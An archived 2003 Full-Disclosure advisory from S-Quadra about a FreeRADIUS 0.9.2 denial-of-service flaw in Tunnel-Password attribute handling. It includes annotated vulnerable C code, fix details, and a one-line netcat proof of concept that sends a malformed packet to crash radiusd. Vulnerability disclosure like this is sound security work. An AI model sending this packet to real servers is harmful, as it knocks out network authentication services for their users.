[Full-Disclosure] FreeRADIUS 0.9.2 "Tunnel-Password" attribute handling vulnerability

From: S-Quadra Security Research (e.legerov_at_s-quadra.com)
Date: 11/21/03

  • Next message: kang_at_insecure.ws: "[Full-Disclosure] - debian -"
    To: full-disclosure@lists.netsys.com
    Date: Fri, 21 Nov 2003 15:32:39 +0300
    
    

             
                S-Quadra Vendor Report #2003-11-21

    Topic: FreeRADIUS 0.9.2 "Tunnel-Password" attribute Handling Vulnerability
    Severity: Average
    Release date: 21 Nov 2003

    1. DESCRIPTION

    The FreeRADIUS Server (http://www.freeradius.org) is a high-performance
    and highly configurable GPL'd free RADIUS server.

    There exists a security vulnerability in FreeRADIUS up to 0.9.2, which
    may allow an attacker
    to mount a Denial of Service attack or possibly execute an arbitrary
    code (unproved).

    2. DETAILS

    Access-Request packet with a malformed Tunnel-Password attribute
    triggers the invocation of memcpy()
    with a negative third argument, thereby causing radiusd to crash.

    Below is the snip of vulnerable code from src/lib/radius.c:

    [snip]

    int rad_decode(RADIUS_PACKET *packet, RADIUS_PACKET *original,
                   const char *secret)
     {
            DICT_ATTR *attr;
            uint32_t lvalue;
            uint32_t vendorcode;
            VALUE_PAIR **tail;
            VALUE_PAIR *pair;
            uint8_t *ptr;
            int length;
            int attribute;
            int attrlen;
            int vendorlen;
            radius_packet_t *hdr;

            ...

        while(length > 0) {
                    if (vendorlen > 0) {
                            attribute = *ptr++ | (vendorcode << 16);
                            attrlen = *ptr++;
                    } else {
                            attribute = *ptr++;
                            attrlen = *ptr++;
                    }

            /* Evgeny Legerov (EL): Suppose attrlen == 2 */
       
                    attrlen -= 2;
                    length -= 2;
       
            ...

                   if ((pair = malloc(sizeof(VALUE_PAIR))) == NULL) {
                            pairfree(&packet->vps);
                            librad_log("out of memory");
                            errno = ENOMEM;
                            return -1;
                    }

                    memset(pair, 0, sizeof(VALUE_PAIR));
       
            ...

            /* EL: Now we have pair->length == 0 */
            pair->attribute = attribute;
                    pair->length = attrlen;
                    pair->operator = T_OP_EQ;
                    pair->next = NULL;

                    switch (pair->type) {

                    case PW_TYPE_OCTETS:
                    case PW_TYPE_ABINARY:
                    case PW_TYPE_STRING:
                            if (pair->flags.has_tag &&
                                pair->type == PW_TYPE_STRING) {
                                    int offset = 0;

                                    if(TAG_VALID(*ptr)) {
                                            pair->flags.tag = *ptr;
                                            pair->length--;
                                            offset = 1;
                                    } else if (pair->flags.encrypt ==
    FLAG_ENCRYPT_TUNNEL_PASSWORD) {
                                            /*
                                             * from RFC2868 - 3.5.
    Tunnel-Password
                                             * If the value of the Tag field
    is greater than
                                             * 0x00 and less than or equal
    to 0x1F, it SHOULD
                                             * be interpreted as indicating
    which tunnel
                                             * (of several alternatives)
    this attribute pertains;
                                             * otherwise, the Tag field
    SHOULD be ignored.
                                             */
                                            pair->flags.tag = 0x00;

                        /* EL: at this point we have pair->length == -1 */
                                            pair->length--;
                                            offset = 1;
                                    } else {
                                           pair->flags.tag = 0x00;
                                    }
                                    memcpy(pair->strvalue, ptr + offset,
                                           pair->length);
                            }

    [snip]

    To exploit this vulnerability attacker does not need to know NAS
    (Network Access Server) secret as the NAS's IP address can be easily
    spoofed.
    The code execution was unproved, but still remains possible.

    3. FIX INFORMATION

    S-Quadra alerted FreeRADIUS team to this issue on 20th November 2003,
    fix was available in CVS after several hours.

    Unfortunately, the first attempt to contact with FreeRADIUS development
    team was made through
    post to freeradius-users mailing list, as page
    http://www.freeradius.org/usage.html#help
    ("reporting bugs" section) will lead directly to the subscription form
    for this list.
    We actually admit that such behaviour is NOT correct and our futher
    FreeRADIUS security reports will be issued directly to freeradius-devel
    mailing list.

    Also, apparently, in reply to the post to freeradius-user list of the
    person claiming to be "Chris Parker <cparker@starnetusa.net>",
    we have some knowledge of "who radius works" and PoC included in this
    advisory.

    4. PoC CODE

    The following command will crash the radiusd daemon:

    bash-2.05$ echo -ne
    "\x01\x01\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x02"
    | nc -vu -w1 <victim> <port>

    5. CREDITS

    Evgeny Legerov <e.legerov@s-quadra.com> is responsible for discovering
    this issue.

    6. ABOUT

    S-Quadra offers services in computer security, penetration testing and
    network assesment,
    web application security, source code review and third party product
    vulnerability assesment,
    forensic support and reverse engineering.

    Security is an art and our goal is to bring responsible and high quality
    security
    service to the IT market, customized to meet the unique needs of each
    individual client.

    S-Quadra, (pronounced es quadra), is not an acronym.
    It's unique, creative and innovative - just like the security services
    we bring to our clients.

                S-Quadra Vendor Report #2003-11-21

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: kang_at_insecure.ws: "[Full-Disclosure] - debian -"

    Relevant Pages